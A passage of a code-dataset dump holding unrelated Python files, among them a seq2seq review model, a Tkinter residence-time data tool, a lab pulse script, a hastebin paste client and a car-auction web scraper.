FollowSerializer(value).data\n if isinstance(value, User):\n return UserSerializer(value).data\n # Not found - return string.\n return str(value)\n\nclass ActionSerializer(serializers.ModelSerializer):\n actor = GenericRelatedField(read_only=True)\n target = GenericRelatedField(read_only=True)\n action_object = GenericRelatedField(read_only=True)\n\n class Meta:\n model = Action","sub_path":"api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":2073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"329332323","text":"# -*- coding: utf-8 -*-\n\nimport os\nimport re\nimport subprocess\n\ncontext = list()\nfor line in subprocess.check_output(['noob', 'appdmg'], encoding='utf-8').splitlines():\n if re.match(r'\\s*version \".+?\"\\s*', line):\n continue\n if line.strip() == 'raise \"Test not implemented.\"':\n line = ' system bin/\"appdmg\", \"--help\"'\n context.append(line)\n\nFORMULA = os.linesep.join(context)\n\nwith open(os.path.join(os.path.dirname(os.path.realpath(__file__)), '..', '..', 'Formula',\n f'{os.path.splitext(os.path.basename(__file__))[0]}.rb'), 'w') as file:\n print(FORMULA, file=file)\n","sub_path":"Generator/scripts/appdmg.py","file_name":"appdmg.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"121918361","text":"#!/usr/bin/python\n\n# __author__ = 'xiejianqiao'\n\nimport socket\n\nclass SocketClient:\n def __init__(self,hostname,hostport,command):\n self.host=hostname\n self.port=int(hostport)\n self.cmd=command\n\n def socketclient(self):\n try:\n s=socket.socket()\n s.connect((self.host,self.port))\n s.send(self.cmd)\n data=s.recv(1024)\n\n while True:\n buf=s.recv(1024)\n if len(buf):\n data=data+buf\n pass\n else:\n break\n s.close()\n\n return data\n except Exception:\n raise","sub_path":"hpc_system_server/util/SocketClient.py","file_name":"SocketClient.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"493731335","text":"from model.rnn_encoder import *\n#from model.rnn_decoder import RNNDecoder\nfrom model.attn_modulate_decoder import AttnModulateDecoder\nfrom utils import io\nfrom model.pooling_classifier import MaxPoolClassifier\nfrom model.word_attn_classifier import WordAttnClassifier\nfrom model.word_attn_no_query_classifier import WordAttnNoQueryClassifier\nfrom model.word_multi_hop_attn_classifier import WordMultiHopAttnClassifier\n\n\nclass MultiViewAttnModulateClassifySeq2Seq(nn.Module):\n \"\"\"Container module with an encoder, deocder, embeddings.\"\"\"\n\n def __init__(self, opt, rating_tokens_tensor=None):\n \"\"\"Initialize model.\n :param rating_tokens_tensor: a LongTensor, [5, rating_v_size], stores the top rating_v_size tokens' indexs of each rating score\n \"\"\"\n super(MultiViewAttnModulateClassifySeq2Seq, self).__init__()\n\n self.vocab_size = len(opt.word2idx)\n self.emb_dim = opt.word_vec_size\n self.num_directions = 2 if opt.bidirectional else 1\n self.encoder_size = opt.encoder_size\n self.decoder_size = opt.decoder_size\n self.memory_bank_size = self.num_directions * self.encoder_size\n #self.ctx_hidden_dim = opt.rnn_size\n self.batch_size = opt.batch_size\n self.bidirectional = opt.bidirectional\n self.enc_layers = opt.enc_layers\n self.dec_layers = opt.dec_layers\n self.dropout = opt.dropout\n\n self.bridge = opt.bridge\n\n self.coverage_attn = opt.coverage_attn\n self.copy_attn = opt.copy_attention\n\n # for rating memory\n self.rating_memory_pred = opt.rating_memory_pred\n self.rating_memory_type = opt.rating_memory_type\n self.rating_bridge_type = opt.rating_bridge_type\n if self.rating_memory_pred:\n assert rating_tokens_tensor is not None, \"The rating_tokens_tensor is needed when rating_memory_pred is True\"\n self.rating_tokens_tensor = rating_tokens_tensor.cuda()\n if self.rating_bridge_type == 'relu_one_layer':\n self.rating_bridge = nn.Sequential(nn.Linear(self.emb_dim, self.emb_dim),\n nn.Dropout(p=self.dropout),\n nn.ReLU())\n elif self.rating_bridge_type == 'tanh_one_layer':\n self.rating_bridge = nn.Sequential(nn.Linear(self.emb_dim, self.emb_dim),\n nn.Dropout(p=self.dropout),\n nn.Tanh())\n else:\n self.rating_bridge = None\n else:\n self.rating_tokens_tensor = None\n self.rating_bridge = None\n\n self.pad_idx_src = io.PAD\n self.pad_idx_trg = io.PAD\n self.bos_idx = io.BOS\n self.eos_idx = io.EOS\n self.unk_idx = io.UNK\n self.sep_idx = None\n # self.sep_idx = opt.word2idx['.']\n self.orthogonal_loss = opt.orthogonal_loss\n\n if self.orthogonal_loss:\n assert self.sep_idx is not None\n\n self.share_embeddings = opt.share_embeddings\n self.review_attn = opt.review_attn\n\n self.attn_mode = opt.attn_mode\n self.hr_enc = opt.encoder_type == \"hre_brnn\"\n if opt.encoder_type == 'sep_layers_brnn':\n self.separate_mode = 1\n self.separate_layer_enc = True\n elif opt.encoder_type == 'sep_layers_brnn_reverse':\n self.separate_mode = 2\n self.separate_layer_enc = True\n elif opt.encoder_type == 'rnn' and opt.enc_layers == 2 and opt.residual:\n self.separate_mode = 0\n self.separate_layer_enc = False\n elif opt.residual and opt.enc_layers != 2:\n raise ValueError\n else:\n self.separate_mode = -1\n self.separate_layer_enc = False\n\n self.detach_classify_dec_states = opt.detach_classify_dec_states\n if self.detach_classify_dec_states:\n assert opt.dec_classify_input_type == \"dec_state\"\n\n if opt.classifier_type == \"word_attn\":\n self.enc_classifier = WordAttnClassifier(opt.query_hidden_size, self.memory_bank_size, opt.num_classes, opt.attn_mode, opt.classifier_dropout, opt.ordinal, self.hr_enc)\n elif opt.classifier_type == \"word_attn_no_query\":\n self.enc_classifier = WordAttnNoQueryClassifier(self.memory_bank_size, opt.num_classes, opt.classifier_dropout, opt.ordinal, self.hr_enc)\n elif opt.classifier_type == \"word_multi_hop_attn\":\n self.enc_classifier = WordMultiHopAttnClassifier(opt.query_hidden_size, self.memory_bank_size, opt.num_classes, opt.attn_mode, opt.classifier_dropout, opt.ordinal, self.hr_enc)\n else:\n raise ValueError\n\n if opt.dec_classifier_type == \"word_attn\":\n self.dec_classifier = WordAttnClassifier(opt.query_hidden_size, self.memory_bank_size, opt.num_classes, opt.attn_mode, opt.classifier_dropout, opt.ordinal)\n elif opt.dec_classifier_type == \"max\":\n self.dec_classifier = MaxPoolClassifier(self.memory_bank_size, opt.num_classes, opt.classifier_dropout, opt.ordinal)\n elif opt.dec_classifier_type == \"word_attn_no_query\":\n self.dec_classifier = WordAttnNoQueryClassifier(self.memory_bank_size, opt.num_classes, opt.classifier_dropout, opt.ordinal)\n elif opt.dec_classifier_type == \"word_multi_hop_attn\":\n self.dec_classifier = WordMultiHopAttnClassifier(opt.query_hidden_size, self.memory_bank_size, opt.num_classes, opt.attn_mode, opt.classifier_dropout, opt.ordinal)\n else:\n raise ValueError\n\n #self.goal_vector_mode = opt.goal_vector_mode\n #self.goal_vector_size = opt.goal_vector_size\n #self.manager_mode = opt.manager_mode\n\n if self.hr_enc:\n self.encoder = CatHirRNNEncoder(\n vocab_size=self.vocab_size,\n embed_size=self.emb_dim,\n hidden_size=self.encoder_size,\n num_layers=self.enc_layers,\n bidirectional=self.bidirectional,\n pad_token=self.pad_idx_src,\n dropout=self.dropout\n )\n elif self.separate_mode >= 0:\n self.encoder = TwoLayerRNNEncoder(\n vocab_size=self.vocab_size,\n embed_size=self.emb_dim,\n hidden_size=self.encoder_size,\n num_layers=self.enc_layers,\n bidirectional=self.bidirectional,\n pad_token=self.pad_idx_src,\n dropout=self.dropout,\n separate_mode=self.separate_mode,\n residual=opt.residual\n )\n else:\n self.encoder = RNNEncoderBasic(\n vocab_size=self.vocab_size,\n embed_size=self.emb_dim,\n hidden_size=self.encoder_size,\n num_layers=self.enc_layers,\n bidirectional=self.bidirectional,\n pad_token=self.pad_idx_src,\n dropout=self.dropout\n )\n\n self.dec_classify_input_type = opt.dec_classify_input_type\n self.decoder = AttnModulateDecoder(\n vocab_size=self.vocab_size,\n embed_size=self.emb_dim,\n hidden_size=self.decoder_size,\n num_layers=self.dec_layers,\n memory_bank_size=self.num_directions * self.encoder_size,\n coverage_attn=self.coverage_attn,\n copy_attn=self.copy_attn,\n review_attn=self.review_attn,\n pad_idx=self.pad_idx_trg,\n attn_mode=self.attn_mode,\n dropout=self.dropout,\n hr_enc=self.hr_enc,\n out_sentiment_context=(self.dec_classify_input_type == 'attn_vec'),\n rating_memory_pred=self.rating_memory_pred\n )\n\n if self.bridge == 'dense':\n self.bridge_layer = nn.Linear(self.encoder_size * self.num_directions, self.decoder_size)\n elif opt.bridge == 'dense_nonlinear':\n self.bridge_layer = nn.tanh(nn.Linear(self.encoder_size * self.num_directions, self.decoder_size))\n else:\n self.bridge_layer = None\n\n if self.bridge == 'copy':\n assert self.encoder_size * self.num_directions == self.decoder_size, 'encoder hidden size and decoder hidden size are not match, please use a bridge layer'\n\n \"\"\"\n if self.separate_present_absent and self.goal_vector_mode > 0:\n if self.manager_mode == 2: # use GRU as a manager\n self.manager = nn.GRU(input_size=self.decoder_size, hidden_size=self.goal_vector_size, num_layers=1, bidirectional=False, batch_first=False, dropout=self.dropout)\n self.bridge_manager = opt.bridge_manager\n if self.bridge_manager:\n self.manager_bridge_layer = nn.Linear(self.encoder_size * self.num_directions, self.goal_vector_size)\n else:\n self.manager_bridge_layer = None\n elif self.manager_mode == 1: # use two trainable vectors only\n self.manager = ManagerBasic(self.goal_vector_size)\n \"\"\"\n\n if self.share_embeddings:\n self.encoder.embedding.weight = self.decoder.embedding.weight\n\n self.model_type = opt.model_type\n self.init_embedding_weights()\n\n def init_embedding_weights(self):\n \"\"\"Initialize weights.\"\"\"\n init_range = 0.1\n self.encoder.embedding.weight.data.uniform_(-init_range, init_range)\n if not self.share_embeddings:\n self.decoder.embedding.weight.data.uniform_(-init_range, init_range)\n\n # fill with fixed numbers for debugging\n # self.embedding.weight.data.fill_(0.01)\n #self.encoder2decoder_hidden.bias.data.fill_(0)\n #self.encoder2decoder_cell.bias.data.fill_(0)\n #self.decoder2vocab.bias.data.fill_(0)\n\n def set_embedding(self, embedding):\n \"\"\"embedding is the weight matrix\"\"\"\n assert self.share_embeddings\n #print(\"encoder embedding: {}\".format(self.encoder.embedding.weight.size()))\n #print(\"pretrained embedding: {}\".format(embedding.size()))\n assert self.encoder.embedding.weight.size() == embedding.size()\n self.encoder.embedding.weight.data.copy_(embedding)\n\n def forward(self, src, src_lens, trg, src_oov, max_num_oov, src_mask, trg_mask, rating, src_sent_positions, src_sent_nums, src_sent_mask):\n \"\"\"\n :param src: a LongTensor containing the word indices of source sentences, [batch, src_seq_len], with oov words replaced by unk idx\n :param src_lens: a list containing the length of src sequences for each batch, with len=batch, with oov words replaced by unk idx\n :param trg: a LongTensor containing the word indices of target sentences, [batch, trg_seq_len]\n :param src_oov: a LongTensor containing the word indices of source sentences, [batch, src_seq_len], contains the index of oov words (used by copy)\n :param max_num_oov: int, max number of oov for each batch\n :param src_mask: a FloatTensor, [batch, src_seq_len]\n :param num_trgs: only effective in one2many mode 2, a list of num of targets in each batch, with len=batch_size\n :param sampled_source_representation_2dlist: only effective when using target encoder, a 2dlist of tensor with dim=[memory_bank_size]\n :param source_representation_target_list: a list that store the index of ground truth source representation for each batch, dim=[batch_size]\n :param src_sent_positions: a LongTensor containing the forward and backward ending positions of src sentences, [batch, max_sent_num, 2]\n :param src_sent_nums: a list containing the sentence number of each src, [batch]\n :param src_sent_mask: a FloatTensor, [batch, max_sent_num]\n :return:\n \"\"\"\n batch_size, max_src_len = list(src.size())\n\n # Encoding\n memory_banks, encoder_final_states = self.encoder(src, src_lens, src_mask, src_sent_positions, src_sent_nums)\n word_memory_bank, sent_memory_bank = memory_banks\n word_encoder_final_state, sent_encoder_final_state = encoder_final_states\n src_masks = (src_mask, src_sent_mask)\n\n assert word_memory_bank.size() == torch.Size([batch_size, max_src_len, self.num_directions * self.encoder_size])\n assert word_encoder_final_state.size() == torch.Size([batch_size, self.num_directions * self.encoder_size])\n\n # classification\n if self.separate_layer_enc:\n classifier_memory_bank = sent_memory_bank\n else:\n classifier_memory_bank = word_memory_bank\n\n enc_logit, enc_classify_attn_dist = self.enc_classifier(classifier_memory_bank, src_mask, sent_memory_bank, src_sent_mask)\n # classify_attn_dist: [batch_size, max_input_seq_len]\n\n # construct rating memory bank\n rating_memory_bank = None\n if self.rating_memory_pred:\n # [5, rating_v_size, emb_size]\n rating_memory_bank = self.encoder.embedding(self.rating_tokens_tensor)\n if self.rating_memory_type == 'pred':\n # [batch_size]\n rating_select_idx = torch.argmax(enc_logit, dim=1, keepdim=False)\n else:\n assert self.rating_memory_type == 'gold'\n # [batch_size]\n rating_select_idx = rating\n # [batch_size, rating_v_size, emb_size]\n rating_memory_bank = rating_memory_bank.index_select(dim=0, index=rating_select_idx)\n\n # apply rating bridge when configured\n if self.rating_bridge is not None:\n rating_memory_bank = self.rating_bridge(rating_memory_bank)\n\n # Decoding\n h_t_init = self.init_decoder_state(word_encoder_final_state) # [dec_layers, batch_size, decoder_size]\n max_target_length = trg.size(1)\n #context = self.init_context(memory_bank) # [batch, memory_bank_size]\n\n decoder_dist_all = []\n attention_dist_all = []\n sentiment_context_all = []\n\n if self.coverage_attn:\n coverage = torch.zeros_like(src, dtype=torch.float).requires_grad_() # [batch, max_src_seq]\n #coverage_all = coverage.new_zeros((max_target_length, batch_size, max_src_len), dtype=torch.float) # [max_trg_len, batch_size, max_src_len]\n coverage_all = []\n else:\n coverage = None\n coverage_all = None\n\n if self.review_attn or self.dec_classify_input_type == 'dec_state':\n decoder_memory_bank = h_t_init[-1, :, :].unsqueeze(1) # [batch, 1, decoder_size]\n assert decoder_memory_bank.size() == torch.Size([batch_size, 1, self.decoder_size])\n else:\n decoder_memory_bank = None\n\n if self.orthogonal_loss: # create a list of batch_size empty list\n delimiter_decoder_states_2dlist = [[] for i in range(batch_size)]\n\n # init y_t to be BOS token\n y_t_init = trg.new_ones(batch_size) * self.bos_idx # [batch_size]\n\n for t in range(max_target_length):\n # determine the hidden state that will be feed into the next step\n # according to the time step or the target input\n if t == 0:\n h_t = h_t_init\n y_t = y_t_init\n else:\n h_t = h_t_next\n y_t = y_t_next\n\n if (self.review_attn or self.dec_classify_input_type == 'dec_state') and t > 0:\n decoder_memory_bank = torch.cat([decoder_memory_bank, h_t[-1, :, :].unsqueeze(1)], dim=1) # [batch, t+1, decoder_size]\n\n decoder_dist, h_t_next, _, sentiment_context, attn_dist, p_gen, coverage = \\\n self.decoder(y_t, h_t, memory_banks, src_masks, max_num_oov, src_oov, coverage, decoder_memory_bank, enc_classify_attn_dist, rating_memory_bank)\n decoder_dist_all.append(decoder_dist.unsqueeze(1)) # [batch, 1, vocab_size]\n attention_dist_all.append(attn_dist.unsqueeze(1)) # [batch, 1, src_seq_len]\n if self.coverage_attn:\n coverage_all.append(coverage.unsqueeze(1)) # [batch, 1, src_seq_len]\n if sentiment_context is not None:\n sentiment_context_all.append(sentiment_context) # [batch_size, memory_bank_size]\n y_t_next = trg[:, t] # [batch]\n\n # if this hidden state corresponds to the delimiter, stack it\n if self.orthogonal_loss:\n for i in range(batch_size):\n if y_t_next[i].item() == self.sep_idx:\n delimiter_decoder_states_2dlist[i].append(h_t_next[-1, i, :]) # [decoder_size]\n\n # collect the hidden state of the final decoding step\n if self.dec_classify_input_type == 'dec_state':\n decoder_memory_bank = torch.cat([decoder_memory_bank, h_t_next[-1, :, :].unsqueeze(1)], dim=1) # [batch, max_target_length+1, decoder_size]\n\n decoder_dist_all = torch.cat(decoder_dist_all, dim=1) # [batch_size, trg_len, vocab_size]\n attention_dist_all = torch.cat(attention_dist_all, dim=1) # [batch_size, trg_len, src_len]\n\n # new\n if self.dec_classify_input_type == 'attn_vec':\n assert len(sentiment_context_all) != 0\n dec_classifier_input = torch.stack(sentiment_context_all, dim=1) # [batch_size, trg_len, memory_bank_size]\n else:\n assert self.dec_classify_input_type == 'dec_state'\n dec_classifier_input = decoder_memory_bank[:, 1:, :] # [batch_size, trg_len, memory_bank_size]\n if self.detach_classify_dec_states:\n dec_classifier_input = dec_classifier_input.detach()\n assert dec_classifier_input.size() == torch.Size(\n (batch_size, max_target_length, self.num_directions * self.encoder_size))\n\n if self.coverage_attn:\n coverage_all = torch.cat(coverage_all, dim=1) # [batch_size, trg_len, src_len]\n assert coverage_all.size() == torch.Size((batch_size, max_target_length, max_src_len))\n\n if self.copy_attn:\n assert decoder_dist_all.size() == torch.Size((batch_size, max_target_length, self.vocab_size + max_num_oov))\n else:\n assert decoder_dist_all.size() == torch.Size((batch_size, max_target_length, self.vocab_size))\n assert attention_dist_all.size() == torch.Size((batch_size, max_target_length, max_src_len))\n\n # Pad delimiter_decoder_states_2dlist with zero vectors\n if self.orthogonal_loss:\n assert len(delimiter_decoder_states_2dlist) == batch_size\n delimiter_decoder_states_lens = [len(delimiter_decoder_states_2dlist[i]) for i in range(batch_size)]\n # [batch_size, decoder_size, max_num_delimiters]\n delimiter_decoder_states = self.tensor_2dlist_to_tensor(delimiter_decoder_states_2dlist, batch_size, self.decoder_size, delimiter_decoder_states_lens)\n else:\n delimiter_decoder_states_lens = None\n delimiter_decoder_states = None\n\n dec_classifier_output = self.dec_classifier(dec_classifier_input, trg_mask)\n if isinstance(dec_classifier_output, tuple):\n dec_logit = dec_classifier_output[0]\n dec_classify_attn_dist = dec_classifier_output[1]\n else:\n dec_logit = dec_classifier_output\n dec_classify_attn_dist = None\n logit = (enc_logit, dec_logit)\n classifier_attention_dist = (enc_classify_attn_dist, dec_classify_attn_dist)\n return decoder_dist_all, h_t_next, attention_dist_all, word_encoder_final_state, coverage_all, logit, classifier_attention_dist\n\n def tensor_2dlist_to_tensor(self, tensor_2d_list, batch_size, hidden_size, seq_lens):\n \"\"\"\n :param tensor_2d_list: a 2d list of tensor with size=[hidden_size], len(tensor_2d_list)=batch_size, len(tensor_2d_list[i])=seq_len[i]\n :param batch_size:\n :param hidden_size:\n :param seq_lens: a list that store the seq len of each batch, with len=batch_size\n :return: [batch_size, hidden_size, max_seq_len]\n \"\"\"\n # assert tensor_2d_list[0][0].size() == torch.Size([hidden_size])\n max_seq_len = max(seq_lens)\n for i in range(batch_size):\n for j in range(max_seq_len - seq_lens[i]):\n tensor_2d_list[i].append( torch.ones(hidden_size).to(self.device) * self.pad_idx_trg ) # [hidden_size]\n tensor_2d_list[i] = torch.stack(tensor_2d_list[i], dim=1) # [hidden_size, max_seq_len]\n tensor_3d = torch.stack(tensor_2d_list, dim=0) # [batch_size, hidden_size, max_seq_len]\n return tensor_3d\n\n def init_decoder_state(self, encoder_final_state):\n \"\"\"\n :param encoder_final_state: [batch_size, self.num_directions * self.encoder_size]\n :return: [1, batch_size, decoder_size]\n \"\"\"\n batch_size = encoder_final_state.size(0)\n if self.bridge == 'none':\n decoder_init_state = None\n elif self.bridge == 'copy':\n decoder_init_state = encoder_final_state\n else:\n decoder_init_state = self.bridge_layer(encoder_final_state)\n decoder_init_state = decoder_init_state.unsqueeze(0).expand((self.dec_layers, batch_size, self.decoder_size))\n # [dec_layers, batch_size, decoder_size]\n return decoder_init_state\n\n def init_context(self, memory_bank):\n # Init by max pooling, may support other initialization later\n context, _ = memory_bank.max(dim=1)\n return context\n","sub_path":"model/multi_view_attn_modulate_classify_seq2seq.py","file_name":"multi_view_attn_modulate_classify_seq2seq.py","file_ext":"py","file_size_in_byte":21523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"453037756","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport tkinter as tk\nfrom tkinter import *\n\nroot = tk.Tk()\nroot.title('平均停留时间处理系统V1.0')\nlabel=Label(root,fg=\"blue\",bg=\"white\",font=\"Time 15 bold\")\nroot.geometry('600x200+450+200')\nroot.withdraw\n\ndef openpath(): ###打开文件函数\n global col_concat_df\n global twu_array\n global cwu_array\n file_openpath = filedialog.askopenfilename(title='选择文件')# 获取文件路径\n df = pd.read_csv(file_openpath) # 读取文件,读取csv文件\n t_df = df['t'] # 将时间赋值给变量t_df\n c_df = df['c(t)'] # 将浓度赋值给变量c_df,数据类型仍为dataframe\n twu_df = t_df / 6.18 ####################获取无量纲时间,无量纲时间数据类型为datafr,分母为理论停留时间。\n twu_array = np.array(twu_df) # 将无量纲时间的格式由datafram转化为数组\n c_array = np.array(c_df)\n q = np.trapz(c_array, twu_array) ##q为经过改点处示踪剂的总量\n cwu_df = c_df / q # 得到datafram格式无量纲浓度\n cwu_array = np.array(cwu_df) # 无量纲浓度由datafram格式转化为array格式\n e = np.trapz(cwu_array, twu_array)\n f = twu_array * cwu_array\n g = np.trapz(f, twu_array)\n h = g / e ######h就是平均停留时间因子\n i = ((twu_array - h) ** 2) * cwu_array\n j = np.trapz(i, twu_array)\n k = j / (h) ** 2\n #报存平均停留时间及方差\n h_series = pd.Series([h])\n k_series = pd.Series([k]) # 将数值e,k转化为Series类型\n # 将两个series进行拼接成一个表\n df_hk = pd.DataFrame({'tm': h_series, 'ver': k_series})\n # 将无量纲浓度和无量纲时间拼接到一个表\n col_concat_df = pd.concat([twu_df, cwu_df, df_hk], axis=1)\n label[\"text\"] = \"数据已处理完成,请保存为.csv格式\"\n print('数据已处理完毕,请保存')\ndef savepath(): ###保存文件函数\n global col_concat_df\n file_savepath = filedialog.asksaveasfilename(title='保存文件')\n col_concat_df.to_csv(file_savepath) # 读入路径是正斜杠,输出路径为反斜杠;\n label[\"text\"] = \"数据已保存,再次使用请点击(打开文件)按钮\"\n print('数据已经保存')\ndef plot_curve():##绘制RTD曲线\n global twu_array\n global cwu_array\n plt.plot(twu_array, cwu_array, color='b', marker='o', linestyle='-', linewidth=0.5)\n plt.title('RTD', fontsize=15, color='black')\n plt.xlabel('t', fontsize=15, color='black')\n plt.ylabel('c', fontsize=15, color='black', rotation=360)\n plt.xlim((0, 4))\n plt.show()\n\nbt1 = tk.Button(root, text='打开文件', bg='blue', font=('Arial 12 bold'), width=15, height=2, command=openpath)\nlabel.pack(side=LEFT,fill=Y)\nbt1.pack()\nbt2 = tk.Button(root, text='保存文件', bg='red', font=('Arial 12 bold'), width=15, height=2, command=savepath)\nbt2.pack(pady=10)\nbt3=tk.Button(root, text='绘制RTD', bg='orange', font=('Arial 12 bold'), width=15, height=2, command=plot_curve)\nbt3.pack()\nroot.mainloop()","sub_path":"RTD曲线处理/RTD数据处理.py","file_name":"RTD数据处理.py","file_ext":"py","file_size_in_byte":3041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"124818749","text":"import time\nimport numpy as np\nimport itertools\nimport modules.PlotBuilder as PlotBuilder\nimport modules.PostProcess as PostProcess\nimport modules.SaveLib as SaveLib\nfrom instruments.ADwin import adwinIO\nimport matplotlib.pyplot as plt\n\n\n\npulseamount = 2\namplification = 0.5\nsamplefrequency = 1000\nplateasupoints = 10\nnumberinputs = plateasupoints*3\n\n\na = [0, 1]\nc = [1]\nd = [0]\nwin = np.array(list(itertools.product(*[d,c,d])))\nsinglepuls = np.zeros(numberinputs)\noutput = np.zeros([len(win),numberinputs])\naxis = np.linspace(0, numberinputs-1, numberinputs)\naxis2 = np.linspace(0, numberinputs, numberinputs*pulseamount)\nprint(axis2)\nprint(np.shape(win)[1])\n\n# adwin = adwinIO.initInstrument() \n\nfor i in range(len(win)):\n for j in range(np.shape(win)[1]):\n singlepuls[plateasupoints*j:plateasupoints*j+plateasupoints]= win[i,j]\n scaledsinglepulse = singlepuls\n plt.figure()\n plt.plot(axis, scaledsinglepulse)\n plt.show()\n\nadwininput = np.zeros(pulseamount*len(scaledsinglepulse))\nfor n in range(pulseamount):\n adwininput[n*len(scaledsinglepulse):n*len(scaledsinglepulse)+len(scaledsinglepulse)] = scaledsinglepulse\n\nplt.figure()\nplt.plot(axis2, adwininput)\nplt.show()\n\noutputpulsescheme= adwinIO.IO(adwin, scaledadwininput, samplefrequency)\n\nsinglevoltage = np.array([0.01])\ncurrent = adwin.IO(adwin,singlevoltage,samplefrequency)\n\nnp.savetxt('.txt', output)\n\n# f, (ax1, ax2, ax3, ax4) = plt.subplots(4,1)\n# ax1.plot(axis, output[0])\n# ax2.plot(axis, output[1]) \n# ax3.plot(axis, output[2])\n# ax4.plot(axis, output[3])\n# plt.show()\n\n ","sub_path":"pulsescheme.py","file_name":"pulsescheme.py","file_ext":"py","file_size_in_byte":1563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"539871937","text":"\"\"\"\nPython alternative for haste-client CLI utility\n\"\"\"\nimport io\nimport logging\nimport sys\nfrom typing import List, Optional\n\nimport pyperclip\nimport requests\nfrom hasty import cli, config\n\nURL = str\n\n\ndef main(argv: List[str]) -> None:\n \"\"\"\n :param argv: A list of console arguments\n :return: None\n \"\"\"\n args = cli.parse_args(argv)\n\n logger = set_logger(args.debug)\n settings = config.Config(logger=logger)\n\n url = settings.url\n\n text = get_text(args.copy, args.file)\n hastebin = Hastebin(url, logger)\n try:\n text_link = hastebin.paste(text)\n show_link(text_link, args.paste)\n except requests.RequestException:\n print('Service is unavailable')\n\n\ndef set_logger(debug: bool = False):\n logger = logging.getLogger(__name__)\n level = logging.DEBUG if debug else logging.WARNING\n logging.basicConfig(level=level)\n return logger\n\n\ndef get_text(clipboard: bool, source: Optional[io.TextIOWrapper]) -> str:\n \"\"\"\n :param clipboard: If it should use clipboard as input\n :param source: If it doesn't use clipboard, it uses either file contents or stdin\n :return:\n \"\"\"\n if clipboard:\n text = pyperclip.paste()\n else:\n if source is None:\n source = sys.stdin\n try:\n text = source.read()\n finally:\n source.close()\n return text\n\n\ndef show_link(text_link: URL, clipboard: bool) -> None:\n \"\"\"\n :param text_link: URL to print\n :param clipboard: Whether you should use clipboard or stdout\n :return:\n \"\"\"\n if clipboard:\n pyperclip.copy(text_link)\n else:\n print(text_link)\n\n\nclass Hastebin:\n \"\"\"\n Interface with hastebin-based site\n \"\"\"\n\n def __init__(self, url: URL, logger=None):\n \"\"\"\n :param url: Url in https://hastebin.com/ format\n \"\"\"\n self.url = url\n self.logger = logger\n\n def paste(self, text: str) -> URL:\n \"\"\"\n Sends the text to hastebin-based site\n :param text: Text to post on hastebin\n :return: Link to the paste`\n \"\"\"\n if self.logger is not None:\n self.logger.debug(f'Text received is {text}')\n self.logger.debug(f'Pasting to {self.url}')\n response = requests.post(self.url + 'documents', text)\n if self.logger is not None:\n self.logger.debug(f'Response code is {response.status_code}')\n if response.ok:\n key: str = response.json()['key']\n if self.logger is not None:\n self.logger.info(f'Link received is {self.url}{key}')\n return self.url + key\n else:\n self.logger.error(f'Invalid response code {response.status_code}')\n raise requests.RequestException()\n","sub_path":"src/hasty/hasty.py","file_name":"hasty.py","file_ext":"py","file_size_in_byte":2763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"267914483","text":"#coding=utf-8\nimport sys\nsys.path.append(sys.path[0] + '/../')\nimport sdk.emailUtils as emailUtils\nimport sdk.urlUtils as urlUtils\nfrom bs4 import BeautifulSoup\nimport datetime\nimport re\nimport xlwt\n\nurlQueryAuctionList = \"http://ssxkc.cbex.com.cn/jcas/auctionquery\"\nurlQueryActionHost = \"http://ssxkc.cbex.com.cn\"\n\ndef getAuctionList(type):\n list = []\n page = 1\n totalPage = 1\n while page <= totalPage:\n print(\"page: \" + str(page))\n html = urlUtils.post(urlQueryAuctionList, {\"page\": page, \"DateSelect\": type})\n soup = BeautifulSoup(html, 'html.parser')\n items = soup.find(attrs={\"class\":\"auction-list\"}).find_all(\"li\")\n for item in items:\n car = {}\n car[\"id\"] = item.b.text[6:]\n car[\"url\"] = item.a[\"href\"]\n car[\"image\"] = item.a.img[\"src\"]\n car[\"carNo\"] = item.p.contents[0][(len(item.p.contents[0]) - 7):]\n # car[\"name\"] = item.p.span.text\n # car[\"minPrice\"] = re.findall(r\"\\d+\\.?\\d*\", item.p.contents[4])\n # car[\"maxPrice\"] = re.findall(r\"\\d+\\.?\\d*\", item.p.contents[6])\n # car[\"auctionTime\"] = item.p.contents[8][(len(item.p.contents[8]) - 16):]\n # car[\"status\"] = item.find_all(\"a\")[1].text\n if totalPage == 1:\n pages = soup.find(attrs={\"class\":\"page\"}).find_all(\"a\")\n totalPage = int(pages[len(pages) - 1].span.text)\n list.append(car)\n page += 1\n\n return list\n\ndef getFinishAuction(car):\n print(\"car: \" + car[\"url\"])\n url = urlQueryActionHost + car[\"url\"]\n html = urlUtils.get(url)\n soup = BeautifulSoup(html, 'html.parser')\n car[\"name\"] = soup.find(attrs={\"class\":\"detail\"}).h2.text\n infos = soup.find(attrs={\"class\":\"info\"}).find_all(\"dl\")\n car[\"id\"] = infos[0].find_all(\"dd\")[0].text\n car[\"minPrice\"] = ''.join(re.findall(r\"\\d+\\.?\\d*\", infos[0].find_all(\"dd\")[1].text))\n car[\"evaluatePrice\"] = ''.join(re.findall(r\"\\d+\\.?\\d*\", infos[1].find_all(\"dd\")[0].text))\n car[\"guardPrice\"] = ''.join(re.findall(r\"\\d+\\.?\\d*\", infos[1].find_all(\"dd\")[1].text))\n car[\"hasKeepPrice\"] = infos[2].find_all(\"dd\")[0].text\n car[\"priceStep\"] = ''.join(re.findall(r\"\\d+\\.?\\d*\", infos[2].find_all(\"dd\")[1].text))\n car[\"maxPrice\"] = ''.join(re.findall(r\"\\d+\\.?\\d*\", infos[3].find_all(\"dd\")[0].text))\n car[\"auctionTime\"] = infos[4].dd.text\n end = soup.find(attrs={\"id\":\"end\"})\n car[\"status\"] = end.strong.text\n car[\"dealPrice\"] = ''.join(re.findall(r\"\\d+\\.?\\d*\", end.find_all(\"p\")[0].b.text))\n car[\"auctionPeopleCount\"] = 